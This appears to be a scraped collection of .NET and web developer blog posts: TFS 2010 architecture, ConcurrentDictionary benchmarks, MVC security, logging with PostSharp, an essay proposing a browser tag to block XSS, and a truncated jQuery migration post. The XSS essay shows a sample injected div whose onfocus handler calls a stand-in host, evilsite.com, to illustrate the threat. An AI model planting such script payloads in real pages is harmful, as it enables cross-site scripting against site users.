  v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} Normal 0 false false false false EN-US X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin-top:0in; mso-para-margin-right:0in; mso-para-margin-bottom:10.0pt; mso-para-margin-left:0in; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} Here, I’m going to discuss some key Architectural changes and concepts that have taken place in TFS 2010 when compared to TFS 2008. In TFS 2010 Installation, First you need to do the Installation and then you have to configure the Installation Feature from the available features. This is bit similar to SharePoint Installation, where you will first do the Installation and then configure the SharePoint Farms. 1) Installation Features available in TFS2010: a) Basic: It is the most compact TFS installation possible. It will install and configure Source Control, Work Item tracking and Build Services only. (SharePoint and Reporting Integration will not be possible). b) Standard Single Server: This is suitable for Single Server deployment of TFS. It will install and configure Windows SharePoint Services for you and will use the default instance of SQL Server. c) Advanced: It is suitable, if you want use Remote Servers for SQL Server Databases, SharePoint Products and Technologies and SQL Server Reporting Services. d) Application Tier Only: If you want to configure high availability for Team Foundation Server in a Load Balanced Environment (NLB) or you want to move Team Foundation Server from one server to other or you want to restore TFS. e) Upgrade: If you want to upgrade from a prior version of TFS. Note: One more important thing to know here about  TFS 2010 Basic is that,  it can be installed on Client Operations Systems(Windows 7 and Windows Vista SP3), Where as  earlier you cannot Install previous version of TFS (2008 and 2005) on client OS. 2) Team Project Collections: Connect to TFS dialog box in TFS 2008:  In TFS 2008, the TFS Server contains a set of Team Projects and each project may or may not be independent of other projects and every checkin gets a ever increasing  changeset ID  irrespective of the team project in which it is checked in and the same applies to work items  also, who also gets unique Work Item Ids.The main problem with this approach was that there are certain things which were impossible to do; those were required as per the Application Development Process. a)      If something has gone wrong in one team project and now you want to restore it back to earlier state where it was working properly then it requires you to restore the Database of Team Foundation Server from the backup you have taken as per your Maintenance plans and because of this the other team projects may lose out on the work which is not backed up. b)       Your company had a merge with some other company and now you have two TFS servers. One TFS Server which you are working on and other TFS server which other company was working and now after the merge you want to integrate the team projects from two TFS servers into one, which is almost impossible to achieve in TFS 2008. Though you can create the Team Projects in one server manually (In Source Control) which you want to integrate from the other TFS Server, but will lose out on History of Change Sets and Work items and others which are very important. There were few more issues of this sort, which were difficult to resolve in TFS 2008. To resolve issues related to above kind of scenarios which were mainly related TFS Maintenance, Integration, migration and Security,  Microsoft has come up with Team Project Collections concept in TFS 2010.This concept is similar to SharePoint Site Collections and if you are familiar with SharePoint Architecture, then it will help you to understand TFS 2010 Architecture easily. Connect to TFS dialog box in TFS 2010: In above dialog box as you can see there are two Team Project Collections, each team project can contain any number of team projects as you can see on right side it shows the two Team Projects in Team Project Collection (Default Collection) which I have chosen. Note: You can connect to only one Team project Collection at a time using an instance of  TFS Team Explorer. How does it work? To introduce Team Project Collections, changes have been done in reorganization of TFS databases. TFS 2008 was composed of 5-7 databases partitioned by subsystem (each for Version Control, Work Item Tracking, Build, Integration, Project Management...) New TFS 2010 database architecture: TFS_Config: It’s the root database and it contains centralized TFS configuration data, including the list of all team projects exist in TFS server. TFS_Warehouse: The data warehouse contains all the reporting data of served by this server (farm). TFS_* : This contains individual team project collection data. This database contains all the operational data of team project collection regardless of subsystem.In additional to this, you will have databases for SharePoint and Report Server. 3) TFS Farms:  As TFS 2010 is more flexible to configure as multiple Application tiers and multiple Database tiers, so it will be more appropriate to call as TFS Farm if you going for multi server installation of TFS. NLB support for TFS application tiers – With TFS 2010: you can configure multiple TFS application tier machines to serve the same set of Team Project Collections. The primary purpose of NLB support is to enable a cleaner and more complete high availability than in TFS 2008. Even if any application tier in the farm fails then farm will automatically continue to work with hardly any indication to end users of a problem. SQL data tiers: With 2010 you can configure many SQL Servers. Each Database can be configured to be on any SQL Server because each Team Project Collection is an independent database. This feature can also be used to load balance databases across SQL Servers.These new capabilities will significantly change the way enterprises manage their TFS installations in the future. With Team Project Collections and TFS farms, you can create a single, arbitrarily large TFS installation. You can grow it incrementally by adding ATs and SQL Servers as needed.

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• C# 4: The Curious ConcurrentDictionary

  - by James Michael Hare

  In my previous post (here) I did a comparison of the new ConcurrentQueue versus the old standard of a System.Collections.Generic Queue with simple locking.  The results were exactly what I would have hoped, that the ConcurrentQueue was faster with multi-threading for most all situations.  In addition, concurrent collections have the added benefit that you can enumerate them even if they're being modified. So I set out to see what the improvements would be for the ConcurrentDictionary, would it have the same performance benefits as the ConcurrentQueue did?  Well, after running some tests and multiple tweaks and tunes, I have good and bad news. But first, let's look at the tests.  Obviously there's many things we can do with a dictionary.  One of the most notable uses, of course, in a multi-threaded environment is for a small, local in-memory cache.  So I set about to do a very simple simulation of a cache where I would create a test class that I'll just call an Accessor.  This accessor will attempt to look up a key in the dictionary, and if the key exists, it stops (i.e. a cache "hit").  However, if the lookup fails, it will then try to add the key and value to the dictionary (i.e. a cache "miss").  So here's the Accessor that will run the tests: 1: internal class Accessor 2: { 3: public int Hits { get; set; } 4: public int Misses { get; set; } 5: public Func<int, string> GetDelegate { get; set; } 6: public Action<int, string> AddDelegate { get; set; } 7: public int Iterations { get; set; } 8: public int MaxRange { get; set; } 9: public int Seed { get; set; } 10:  11: public void Access() 12: { 13: var randomGenerator = new Random(Seed); 14:  15: for (int i=0; i<Iterations; i++) 16: { 17: // give a wide spread so will have some duplicates and some unique 18: var target = randomGenerator.Next(1, MaxRange); 19:  20: // attempt to grab the item from the cache 21: var result = GetDelegate(target); 22:  23: // if the item doesn't exist, add it 24: if(result == null) 25: { 26: AddDelegate(target, target.ToString()); 27: Misses++; 28: } 29: else 30: { 31: Hits++; 32: } 33: } 34: } 35: } Note that so I could test different implementations, I defined a GetDelegate and AddDelegate that will call the appropriate dictionary methods to add or retrieve items in the cache using various techniques. So let's examine the three techniques I decided to test: Dictionary with mutex - Just your standard generic Dictionary with a simple lock construct on an internal object. Dictionary with ReaderWriterLockSlim - Same Dictionary, but now using a lock designed to let multiple readers access simultaneously and then locked when a writer needs access. ConcurrentDictionary - The new ConcurrentDictionary from System.Collections.Concurrent that is supposed to be optimized to allow multiple threads to access safely. So the approach to each of these is also fairly straight-forward.  Let's look at the GetDelegate and AddDelegate implementations for the Dictionary with mutex lock: 1: var addDelegate = (key,val) => 2: { 3: lock (_mutex) 4: { 5: _dictionary[key] = val; 6: } 7: }; 8: var getDelegate = (key) => 9: { 10: lock (_mutex) 11: { 12: string val; 13: return _dictionary.TryGetValue(key, out val) ? val : null; 14: } 15: }; Nothing new or fancy here, just your basic lock on a private object and then query/insert into the Dictionary. Now, for the Dictionary with ReadWriteLockSlim it's a little more complex: 1: var addDelegate = (key,val) => 2: { 3: _readerWriterLock.EnterWriteLock(); 4: _dictionary[key] = val; 5: _readerWriterLock.ExitWriteLock(); 6: }; 7: var getDelegate = (key) => 8: { 9: string val; 10: _readerWriterLock.EnterReadLock(); 11: if(!_dictionary.TryGetValue(key, out val)) 12: { 13: val = null; 14: } 15: _readerWriterLock.ExitReadLock(); 16: return val; 17: }; And finally, the ConcurrentDictionary, which since it does all it's own concurrency control, is remarkably elegant and simple: 1: var addDelegate = (key,val) => 2: { 3: _concurrentDictionary[key] = val; 4: }; 5: var getDelegate = (key) => 6: { 7: string s; 8: return _concurrentDictionary.TryGetValue(key, out s) ? s : null; 9: };                    Then, I set up a test harness that would simply ask the user for the number of concurrent Accessors to attempt to Access the cache (as specified in Accessor.Access() above) and then let them fly and see how long it took them all to complete.  Each of these tests was run with 10,000,000 cache accesses divided among the available Accessor instances.  All times are in milliseconds. 1: Dictionary with Mutex Locking 2: --------------------------------------------------- 3: Accessors Mostly Misses Mostly Hits 4: 1 7916 3285 5: 10 8293 3481 6: 100 8799 3532 7: 1000 8815 3584 8:  9:  10: Dictionary with ReaderWriterLockSlim Locking 11: --------------------------------------------------- 12: Accessors Mostly Misses Mostly Hits 13: 1 8445 3624 14: 10 11002 4119 15: 100 11076 3992 16: 1000 14794 4861 17:  18:  19: Concurrent Dictionary 20: --------------------------------------------------- 21: Accessors Mostly Misses Mostly Hits 22: 1 17443 3726 23: 10 14181 1897 24: 100 15141 1994 25: 1000 17209 2128 The first test I did across the board is the Mostly Misses category.  The mostly misses (more adds because data requested was not in the dictionary) shows an interesting trend.  In both cases the Dictionary with the simple mutex lock is much faster, and the ConcurrentDictionary is the slowest solution.  But this got me thinking, and a little research seemed to confirm it, maybe the ConcurrentDictionary is more optimized to concurrent "gets" than "adds".  So since the ratio of misses to hits were 2 to 1, I decided to reverse that and see the results. So I tweaked the data so that the number of keys were much smaller than the number of iterations to give me about a 2 to 1 ration of hits to misses (twice as likely to already find the item in the cache than to need to add it).  And yes, indeed here we see that the ConcurrentDictionary is indeed faster than the standard Dictionary here.  I have a strong feeling that as the ration of hits-to-misses gets higher and higher these number gets even better as well.  This makes sense since the ConcurrentDictionary is read-optimized. Also note that I tried the tests with capacity and concurrency hints on the ConcurrentDictionary but saw very little improvement, I think this is largely because on the 10,000,000 hit test it quickly ramped up to the correct capacity and concurrency and thus the impact was limited to the first few milliseconds of the run. So what does this tell us?  Well, as in all things, ConcurrentDictionary is not a panacea.  It won't solve all your woes and it shouldn't be the only Dictionary you ever use.  So when should we use each? Use System.Collections.Generic.Dictionary when: You need a single-threaded Dictionary (no locking needed). You need a multi-threaded Dictionary that is loaded only once at creation and never modified (no locking needed). You need a multi-threaded Dictionary to store items where writes are far more prevalent than reads (locking needed). And use System.Collections.Concurrent.ConcurrentDictionary when: You need a multi-threaded Dictionary where the writes are far more prevalent than reads. You need to be able to iterate over the collection without locking it even if its being modified. Both Dictionaries have their strong suits, I have a feeling this is just one where you need to know from design what you hope to use it for and make your decision based on that criteria.

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• Securing an ASP.NET MVC 2 Application

  - by rajbk

  This post attempts to look at some of the methods that can be used to secure an ASP.NET MVC 2 Application called Northwind Traders Human Resources.  The sample code for the project is attached at the bottom of this post. We are going to use a slightly modified Northwind database. The screen capture from SQL server management studio shows the change. I added a new column called Salary, inserted some random salaries for the employees and then turned off AllowNulls.   The reporting relationship for Northwind Employees is shown below.   The requirements for our application are as follows: Employees can see their LastName, FirstName, Title, Address and Salary Employees are allowed to edit only their Address information Employees can see the LastName, FirstName, Title, Address and Salary of their immediate reports Employees cannot see records of non immediate reports.  Employees are allowed to edit only the Salary and Title information of their immediate reports. Employees are not allowed to edit the Address of an immediate report Employees should be authenticated into the system. Employees by default get the “Employee” role. If a user has direct reports, they will also get assigned a “Manager” role. We use a very basic empId/pwd scheme of EmployeeID (1-9) and password test$1. You should never do this in an actual application. The application should protect from Cross Site Request Forgery (CSRF). For example, Michael could trick Steven, who is already logged on to the HR website, to load a page which contains a malicious request. where without Steven’s knowledge, a form on the site posts information back to the Northwind HR website using Steven’s credentials. Michael could use this technique to give himself a raise :-) UI Notes The layout of our app looks like so: When Nancy (EmpID 1) signs on, she sees the default page with her details and is allowed to edit her address. If Nancy attempts to view the record of employee Andrew who has an employeeID of 2 (Employees/Edit/2), she will get a “Not Authorized” error page. When Andrew (EmpID 2) signs on, he can edit the address field of his record and change the title and salary of employees that directly report to him. Implementation Notes All controllers inherit from a BaseController. The BaseController currently only has error handling code. When a user signs on, we check to see if they are in a Manager role. We then create a FormsAuthenticationTicket, encrypt it (including the roles that the employee belongs to) and add it to a cookie. private void SetAuthenticationCookie(int employeeID, List<string> roles) { HttpCookiesSection cookieSection = (HttpCookiesSection) ConfigurationManager.GetSection("system.web/httpCookies"); AuthenticationSection authenticationSection = (AuthenticationSection) ConfigurationManager.GetSection("system.web/authentication"); FormsAuthenticationTicket authTicket = new FormsAuthenticationTicket( 1, employeeID.ToString(), DateTime.Now, DateTime.Now.AddMinutes(authenticationSection.Forms.Timeout.TotalMinutes), false, string.Join("|", roles.ToArray())); String encryptedTicket = FormsAuthentication.Encrypt(authTicket); HttpCookie authCookie = new HttpCookie(FormsAuthentication.FormsCookieName, encryptedTicket); if (cookieSection.RequireSSL || authenticationSection.Forms.RequireSSL) { authCookie.Secure = true; } HttpContext.Current.Response.Cookies.Add(authCookie); } We read this cookie back in Global.asax and set the Context.User to be a new GenericPrincipal with the roles we assigned earlier. protected void Application_AuthenticateRequest(Object sender, EventArgs e){ if (Context.User != null) { string cookieName = FormsAuthentication.FormsCookieName; HttpCookie authCookie = Context.Request.Cookies[cookieName]; if (authCookie == null) return; FormsAuthenticationTicket authTicket = FormsAuthentication.Decrypt(authCookie.Value); string[] roles = authTicket.UserData.Split(new char[] { '|' }); FormsIdentity fi = (FormsIdentity)(Context.User.Identity); Context.User = new System.Security.Principal.GenericPrincipal(fi, roles); }} We ensure that a user has permissions to view a record by creating a custom attribute AuthorizeToViewID that inherits from ActionFilterAttribute. public class AuthorizeToViewIDAttribute : ActionFilterAttribute{ IEmployeeRepository employeeRepository = new EmployeeRepository(); public override void OnActionExecuting(ActionExecutingContext filterContext) { if (filterContext.ActionParameters.ContainsKey("id") && filterContext.ActionParameters["id"] != null) { if (employeeRepository.IsAuthorizedToView((int)filterContext.ActionParameters["id"])) { return; } } throw new UnauthorizedAccessException("The record does not exist or you do not have permission to access it"); }} We add the AuthorizeToView attribute to any Action method that requires authorization. [HttpPost][Authorize(Order = 1)]//To prevent CSRF[ValidateAntiForgeryToken(Salt = Globals.EditSalt, Order = 2)]//See AuthorizeToViewIDAttribute class[AuthorizeToViewID(Order = 3)] [ActionName("Edit")]public ActionResult Update(int id){ var employeeToEdit = employeeRepository.GetEmployee(id); if (employeeToEdit != null) { //Employees can edit only their address //A manager can edit the title and salary of their subordinate string[] whiteList = (employeeToEdit.IsSubordinate) ? new string[] { "Title", "Salary" } : new string[] { "Address" }; if (TryUpdateModel(employeeToEdit, whiteList)) { employeeRepository.Save(employeeToEdit); return RedirectToAction("Details", new { id = id }); } else { ModelState.AddModelError("", "Please correct the following errors."); } } return View(employeeToEdit);} The Authorize attribute is added to ensure that only authorized users can execute that Action. We use the TryUpdateModel with a white list to ensure that (a) an employee is able to edit only their Address and (b) that a manager is able to edit only the Title and Salary of a subordinate. This works in conjunction with the AuthorizeToViewIDAttribute. The ValidateAntiForgeryToken attribute is added (with a salt) to avoid CSRF. The Order on the attributes specify the order in which the attributes are executed. The Edit View uses the AntiForgeryToken helper to render the hidden token: ......<% using (Html.BeginForm()) {%><%=Html.AntiForgeryToken(NorthwindHR.Models.Globals.EditSalt)%><%= Html.ValidationSummary(true, "Please correct the errors and try again.") %><div class="editor-label"> <%= Html.LabelFor(model => model.LastName) %></div><div class="editor-field">...... The application uses View specific models for ease of model binding. public class EmployeeViewModel{ public int EmployeeID; [Required] [DisplayName("Last Name")] public string LastName { get; set; } [Required] [DisplayName("First Name")] public string FirstName { get; set; } [Required] [DisplayName("Title")] public string Title { get; set; } [Required] [DisplayName("Address")] public string Address { get; set; } [Required] [DisplayName("Salary")] [Range(500, double.MaxValue)] public decimal Salary { get; set; } public bool IsSubordinate { get; set; }} To help with displaying readonly/editable fields, we use a helper method. //Simple extension method to display a TextboxFor or DisplayFor based on the isEditable variablepublic static MvcHtmlString TextBoxOrLabelFor<TModel, TProperty>(this HtmlHelper<TModel> htmlHelper, Expression<Func<TModel, TProperty>> expression, bool isEditable){ if (isEditable) { return htmlHelper.TextBoxFor(expression); } else { return htmlHelper.DisplayFor(expression); }} The helper method is used in the view like so: <%=Html.TextBoxOrLabelFor(model => model.Title, Model.IsSubordinate)%> As mentioned in this post, there is a much easier way to update properties on an object. Download Demo Project VS 2008, ASP.NET MVC 2 RTM Remember to change the connectionString to point to your Northwind DB NorthwindHR.zip Feedback and bugs are always welcome :-)

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• Enterprise Library Logging / Exception handling and Postsharp

  - by subodhnpushpak

  One of my colleagues came-up with a unique situation where it was required to create log files based on the input file which is uploaded. For example if A.xml is uploaded, the corresponding log file should be A_log.txt. I am a strong believer that Logging / EH / caching are cross-cutting architecture aspects and should be least invasive to the business-logic written in enterprise application. I have been using Enterprise Library for logging / EH (i use to work with Avanade, so i have affection towards the library!! :D ). I have been also using excellent library called PostSharp for cross cutting aspect. Here i present a solution with and without PostSharp all in a unit test. Please see full source code at end of the this blog post. But first, we need to tweak the enterprise library so that the log files are created at runtime based on input given. Below is Custom trace listner which writes log into a given file extracted out of Logentry extendedProperties property. using Microsoft.Practices.EnterpriseLibrary.Common.Configuration; using Microsoft.Practices.EnterpriseLibrary.Logging.Configuration; using Microsoft.Practices.EnterpriseLibrary.Logging.TraceListeners; using Microsoft.Practices.EnterpriseLibrary.Logging; using System.IO; using System.Text; using System; using System.Diagnostics;   namespace Subodh.Framework.Logging { [ConfigurationElementType(typeof(CustomTraceListenerData))] public class LogToFileTraceListener : CustomTraceListener {   private static object syncRoot = new object();   public override void TraceData(TraceEventCache eventCache, string source, TraceEventType eventType, int id, object data) {   if ((data is LogEntry) & this.Formatter != null) { WriteOutToLog(this.Formatter.Format((LogEntry)data), (LogEntry)data); } else { WriteOutToLog(data.ToString(), (LogEntry)data); } }   public override void Write(string message) { Debug.Print(message.ToString()); }   public override void WriteLine(string message) { Debug.Print(message.ToString()); }   private void WriteOutToLog(string BodyText, LogEntry logentry) { try { //Get the filelocation from the extended properties if (logentry.ExtendedProperties.ContainsKey("filelocation")) { string fullPath = Path.GetFullPath(logentry.ExtendedProperties["filelocation"].ToString());   //Create the directory where the log file is written to if it does not exist. DirectoryInfo directoryInfo = new DirectoryInfo(Path.GetDirectoryName(fullPath));   if (directoryInfo.Exists == false) { directoryInfo.Create(); }   //Lock the file to prevent another process from using this file //as data is being written to it.   lock (syncRoot) { using (FileStream fs = new FileStream(fullPath, FileMode.Append, FileAccess.Write, FileShare.Write, 4096, true)) { using (StreamWriter sw = new StreamWriter(fs, Encoding.UTF8)) { Log(BodyText, sw); sw.Close(); } fs.Close(); } } } } catch (Exception ex) { throw new LoggingException(ex.Message, ex); } }   /// <summary> /// Write message to named file /// </summary> public static void Log(string logMessage, TextWriter w) { w.WriteLine("{0}", logMessage); } } }   The above can be “plugged into” the code using below configuration <loggingConfiguration name="Logging Application Block" tracingEnabled="true" defaultCategory="Trace" logWarningsWhenNoCategoriesMatch="true"> <listeners> <add listenerDataType="Microsoft.Practices.EnterpriseLibrary.Logging.Configuration.CustomTraceListenerData, Microsoft.Practices.EnterpriseLibrary.Logging, Version=4.1.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" traceOutputOptions="None" filter="All" type="Subodh.Framework.Logging.LogToFileTraceListener, Subodh.Framework.Logging, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" name="Subodh Custom Trace Listener" initializeData="" formatter="Text Formatter" /> </listeners> Similarly we can use PostSharp to expose the above as cross cutting aspects as below using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Reflection; using PostSharp.Laos; using System.Diagnostics; using GC.FrameworkServices.ExceptionHandler; using Subodh.Framework.Logging;   namespace Subodh.Framework.ExceptionHandling { [Serializable] public sealed class LogExceptionAttribute : OnExceptionAspect { private string prefix; private MethodFormatStrings formatStrings;   // This field is not serialized. It is used only at compile time. [NonSerialized] private readonly Type exceptionType; private string fileName;   /// <summary> /// Declares a <see cref="XTraceExceptionAttribute"/> custom attribute /// that logs every exception flowing out of the methods to which /// the custom attribute is applied. /// </summary> public LogExceptionAttribute() { }   /// <summary> /// Declares a <see cref="XTraceExceptionAttribute"/> custom attribute /// that logs every exception derived from a given <see cref="Type"/> /// flowing out of the methods to which /// the custom attribute is applied. /// </summary> /// <param name="exceptionType"></param> public LogExceptionAttribute( Type exceptionType ) { this.exceptionType = exceptionType; }   public LogExceptionAttribute(Type exceptionType, string fileName) { this.exceptionType = exceptionType; this.fileName = fileName; }   /// <summary> /// Gets or sets the prefix string, printed before every trace message. /// </summary> /// <value> /// For instance <c>[Exception]</c>. /// </value> public string Prefix { get { return this.prefix; } set { this.prefix = value; } }   /// <summary> /// Initializes the current object. Called at compile time by PostSharp. /// </summary> /// <param name="method">Method to which the current instance is /// associated.</param> public override void CompileTimeInitialize( MethodBase method ) { // We just initialize our fields. They will be serialized at compile-time // and deserialized at runtime. this.formatStrings = Formatter.GetMethodFormatStrings( method ); this.prefix = Formatter.NormalizePrefix( this.prefix ); }   public override Type GetExceptionType( MethodBase method ) { return this.exceptionType; }   /// <summary> /// Method executed when an exception occurs in the methods to which the current /// custom attribute has been applied. We just write a record to the tracing /// subsystem. /// </summary> /// <param name="context">Event arguments specifying which method /// is being called and with which parameters.</param> public override void OnException( MethodExecutionEventArgs context ) { string message = String.Format("{0}Exception {1} {{{2}}} in {{{3}}}. \r\n\r\nStack Trace {4}", this.prefix, context.Exception.GetType().Name, context.Exception.Message, this.formatStrings.Format(context.Instance, context.Method, context.GetReadOnlyArgumentArray()), context.Exception.StackTrace); if(!string.IsNullOrEmpty(fileName)) { ApplicationLogger.LogException(message, fileName); } else { ApplicationLogger.LogException(message, Source.UtilityService); } } } } To use the above below is the unit test [TestMethod] [ExpectedException(typeof(NotImplementedException))] public void TestMethod1() { MethodThrowingExceptionForLog(); try { MethodThrowingExceptionForLogWithPostSharp(); } catch (NotImplementedException ex) { throw ex; } }   private void MethodThrowingExceptionForLog() { try { throw new NotImplementedException(); } catch (NotImplementedException ex) { // create file and then write log ApplicationLogger.TraceMessage("this is a trace message which will be logged in Test1MyFile", @"D:\EL\Test1Myfile.txt"); ApplicationLogger.TraceMessage("this is a trace message which will be logged in YetAnotherTest1Myfile", @"D:\EL\YetAnotherTest1Myfile.txt"); } }   // Automatically log details using attributes // Log exception using attributes .... A La WCF [FaultContract(typeof(FaultMessage))] style] [Log(@"D:\EL\Test1MyfileLogPostsharp.txt")] [LogException(typeof(NotImplementedException), @"D:\EL\Test1MyfileExceptionPostsharp.txt")] private void MethodThrowingExceptionForLogWithPostSharp() { throw new NotImplementedException(); } The good thing about the approach is that all the logging and EH is done at centralized location controlled by PostSharp. Of Course, if some other library has to be used instead of EL, it can easily be plugged in. Also, the coder ARE ONLY involved in writing business code in methods, which makes code cleaner. Here is the full source code. The third party assemblies provided are from EL and PostSharp and i presume you will find these useful. Do let me know your thoughts / ideas on the same. Technorati Tags: PostSharp,Enterprize library,C#,Logging,Exception handling

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• Wishful Thinking: Why can't HTML fix Script Attacks at the Source?

  - by Rick Strahl

  The Web can be an evil place, especially if you're a Web Developer blissfully unaware of Cross Site Script Attacks (XSS). Even if you are aware of XSS in all of its insidious forms, it's extremely complex to deal with all the issues if you're taking user input and you're actually allowing users to post raw HTML into an application. I'm dealing with this again today in a Web application where legacy data contains raw HTML that has to be displayed and users ask for the ability to use raw HTML as input for listings. The first line of defense of course is: Just say no to HTML input from users. If you don't allow HTML input directly and use HTML Encoding (HttyUtility.HtmlEncode() in .NET or using standard ASP.NET MVC output @Model.Content) you're fairly safe at least from the HTML input provided. Both WebForms and Razor support HtmlEncoded content, although Razor makes it the default. In Razor the default @ expression syntax:@Model.UserContent automatically produces HTML encoded content - you actually have to go out of your way to create raw HTML content (safe by default) using @Html.Raw() or the HtmlString class. In Web Forms (V4) you can use:<%: Model.UserContent %> or if you're using a version prior to 4.0:<%= HttpUtility.HtmlEncode(Model.UserContent) %> This works great as a hedge against embedded <script> tags and HTML markup as any HTML is turned into text that displays as HTML but doesn't render the HTML. But it turns any embedded HTML markup tags into plain text. If you need to display HTML in raw form with the markup tags rendering based on user input this approach is worthless. If you do accept HTML input and need to echo the rendered HTML input back, the task of cleaning up that HTML is a complex task. In the projects I work on, customers are frequently asking for the ability to post raw HTML quite frequently.  Almost every app that I've built where there's document content from users we start out with text only input - possibly using something like MarkDown - but inevitably users want to just post plain old HTML they created in some other rich editing application. See this a lot with realtors especially who often want to reuse their postings easily in multiple places. In my work this is a common problem I need to deal with and I've tried dozens of different methods from sanitizing, simple rejection of input to custom markup schemes none of which have ever felt comfortable to me. They work in a half assed, hacked together sort of way but I always live in fear of missing something vital which is *really easy to do*. My Wishlist Item: A <restricted> tag in HTML Let me dream here for a second on how to address this problem. It seems to me the easiest place where this can be fixed is: In the browser. Browsers are actually executing script code so they have a lot of control over the script code that resides in a page. What if there was a way to specify that you want to turn off script code for a block of HTML? The main issue when dealing with HTML raw input isn't that we as developers are unaware of the implications of user input, but the fact that we sometimes have to display raw HTML input the user provides. So the problem markup is usually isolated in only a very specific part of the document. So, what if we had a way to specify that in any given HTML block, no script code could execute by wrapping it into a tag that disables all script functionality in the browser? This would include <script> tags and any document script attributes like onclick, onfocus etc. and potentially also disallow things like iFrames that can potentially be scripted from the within the iFrame's target. I'd like to see something along these lines:<article> <restricted allowscripts="no" allowiframes="no"> <div>Some content</div> <script>alert('go ahead make my day, punk!");</script> <div onfocus="$.getJson('http://evilsite.com/')">more content</div> </restricted> </article> A tag like this would basically disallow all script code from firing from any HTML that's rendered within it. You'd use this only on code that you actually render from your data only and only if you are dealing with custom data. So something like this:<article> <restricted> @Html.Raw(Model.UserContent) </restricted> </article> For browsers this would actually be easy to intercept. They render the DOM and control loading and execution of scripts that are loaded through it. All the browser would have to do is suspend execution of <script> tags and not hookup any event handlers defined via markup in this block. Given all the crazy XSS attacks that exist and the prevalence of this problem this would go a long way towards preventing at least coded script attacks in the DOM. And it seems like a totally doable solution that wouldn't be very difficult to implement by vendors. There would also need to be some logic in the parser to not allow an </restricted> or <restricted> tag into the content as to short-circuit the rstricted section (per James Hart's comment). I'm sure there are other issues to consider as well that I didn't think of in my off-the-back-of-a-napkin concept here but the idea overall seems worth consideration I think. Without code running in a user supplied HTML block it'd be pretty hard to compromise a local HTML document and pass information like Cookies to a server. Or even send data to a server period. Short of an iFrame that can access the parent frame (which is another restriction that should be available on this <restricted> tag) that could potentially communicate back, there's not a lot a malicious site could do. The HTML could still 'phone home' via image links and href links potentially and basically say this site was accessed, but without the ability to run script code it would be pretty tough to pass along critical information to the server beyond that. Ahhhh… one can dream… Not holding my breath of course. The design by committee that is the W3C can't agree on anything in timeframes measured less than decades, but maybe this is one place where browser vendors can actually step up the pressure. This is something in their best interest to reduce the attack surface for vulnerabilities on their browser platforms significantly. Several people commented on Twitter today that there isn't enough discussion on issues like this that address serious needs in the web browser space. Realistically security has to be a number one concern with Web applications in general - there isn't a Web app out there that is not vulnerable. And yet nothing has been done to address these security issues even though there might be relatively easy solutions to make this happen. It'll take time, and it's probably not going to happen in our lifetime, but maybe this rambling thought sparks some ideas on how this sort of restriction can get into browsers in some way in the future.© Rick Strahl, West Wind Technologies, 2005-2012Posted in ASP.NET  HTML5  HTML  Security   Tweet !function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs"); (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/plusone.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })();

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• Replacing jQuery.live() with jQuery.on()

  - by Rick Strahl

  jQuery 1.9 and 1.10 have introduced a host of changes, but for the most part these changes are mostly transparent to existing application usage of jQuery. After spending some time last week with a few of my projects and going through them with a specific eye for jQuery failures I found that for the most part there wasn't a big issue. The vast majority of code continues to run just fine with either 1.9 or 1.10 (which are supposed to be in sync but with 1.10 removing support for legacy Internet Explorer pre-9.0 versions). However, one particular change in the new versions has caused me quite a bit of update trouble, is the removal of the jQuery.live() function. This is my own fault I suppose - .live() has been deprecated for a while, but with 1.9 and later it was finally removed altogether from jQuery. In the past I had quite a bit of jQuery code that used .live() and it's one of the things that's holding back my upgrade process, although I'm slowly cleaning up my code and switching to the .on() function as the replacement. jQuery.live() jQuery.live() was introduced a long time ago to simplify handling events on matched elements that exist currently on the document and those that are are added in the future and also match the selector. jQuery uses event bubbling, special event binding, plus some magic using meta data attached to a parent level element to check and see if the original target event element matches the selected selected elements (for more info see Elijah Manor's comment below). An Example Assume a list of items like the following in HTML for example and further assume that the items in this list can be appended to at a later point. In this app there's a smallish initial list that loads to start, and as the user scrolls towards the end of the initial small list more items are loaded dynamically and added to the list.<div id="PostItemContainer" class="scrollbox"> <div class="postitem" data-id="4z6qhomm"> <div class="post-icon"></div> <div class="postitemheader"><a href="show/4z6qhomm" target="Content">1999 Buick Century For Sale!</a></div> <div class="postitemprice rightalign">$ 3,500 O.B.O.</div> <div class="smalltext leftalign">Jun. 07 @ 1:06am</div> <div class="post-byline">- Vehicles - Automobiles</div> </div> <div class="postitem" data-id="2jtvuu17"> <div class="postitemheader"><a href="show/2jtvuu17" target="Content">Toyota VAN 1987</a></div> <div class="postitemprice rightalign">$950</div> <div class="smalltext leftalign">Jun. 07 @ 12:29am</div> <div class="post-byline">- Vehicles - Automobiles</div> </div> … </div> With the jQuery.live() function you could easily select elements and hook up a click handler like this:$(".postitem").live("click", function() {...}); Simple and perfectly readable. The behavior of the .live handler generally was the same as the corresponding simple event handlers like .click(), except that you have to explicitly name the event instead of using one of the methods. Re-writing with jQuery.on() With .live() removed in 1.9 and later we have to re-write .live() code above with an alternative. The jQuery documentation points you at the .on() or .delegate() functions to update your code. jQuery.on() is a more generic event handler function, and it's what jQuery uses internally to map the high level event functions like .click(),.change() etc. that jQuery exposes. Using jQuery.on() however is not a one to one replacement of the .live() function. While .on() can handle events directly and use the same syntax as .live() did, you'll find if you simply switch out .live() with .on() that events on not-yet existing elements will not fire. IOW, the key feature of .live() is not working. You can use .on() 